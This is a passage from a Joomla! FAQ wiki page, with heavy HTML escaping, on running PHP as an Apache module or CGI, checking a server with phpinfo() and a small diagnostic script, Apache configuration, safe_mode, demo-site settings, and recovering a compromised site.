is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/faq/60.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including&lt;br /&gt;
recommendations on configuration;     &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete &amp;amp;quot;Suite&amp;amp;quot; of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://joomlacode.org/gf/project/jts/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Download JTS Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://joomlacode.org/gf/project/hisa/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Download HISA Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://forum.joomla.org/index.php/topic,136328.0.html&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Forum Discussion Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://www.joomlatutorials.com/faq/60.html&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;How to TroubleShoot A Joomla! Installation&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;,&lt;br /&gt;
and possibly not 100% reliable, is that if you are unable to make use&lt;br /&gt;
of .htaccess on Linux hosting and Apache based servers then you are&lt;br /&gt;
either running in CGI mode or your host has disabled the use of&lt;br /&gt;
.htaccess even if your server is running PHP as an Apache Module. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their&lt;br /&gt;
output is extensive and explicit regarding your PHP and server&lt;br /&gt;
configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;  &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt;&lt;br /&gt;
your PHP scripts, the httpd.conf needs to be modified, typically found&lt;br /&gt;
in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out&lt;br /&gt;
&amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are&lt;br /&gt;
regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache&lt;br /&gt;
Module&amp;amp;quot; Mode you should see something very similar to the following;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
As&lt;br /&gt;
in the case of running PHP as an Apache module, you can add whatever&lt;br /&gt;
extensions you want Apache to recognise as PHP scripts, such as:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Next,&lt;br /&gt;
you will need to tell the server to execute the PHP executable each&lt;br /&gt;
time it encounters a PHP script. Add the following below any existing&lt;br /&gt;
entries in the &amp;amp;quot;Action&amp;amp;quot; section.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
If&lt;br /&gt;
you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a&lt;br /&gt;
path alias which will correlate to your PHP installation path&lt;br /&gt;
configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot;&lt;br /&gt;
or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module&lt;br /&gt;
or running it as a CGI binary, and has been seen often enough to&lt;br /&gt;
warrant a mention.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
If you want to make your PHP script execute&lt;br /&gt;
as the default page for a directory, you have to add another line to&lt;br /&gt;
the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins&lt;br /&gt;
with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one execption to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
